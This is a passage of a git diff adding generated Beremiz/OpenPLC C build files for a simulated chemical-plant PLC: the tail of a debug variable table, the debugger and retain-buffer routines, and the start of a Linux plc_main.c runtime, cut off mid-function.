+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + 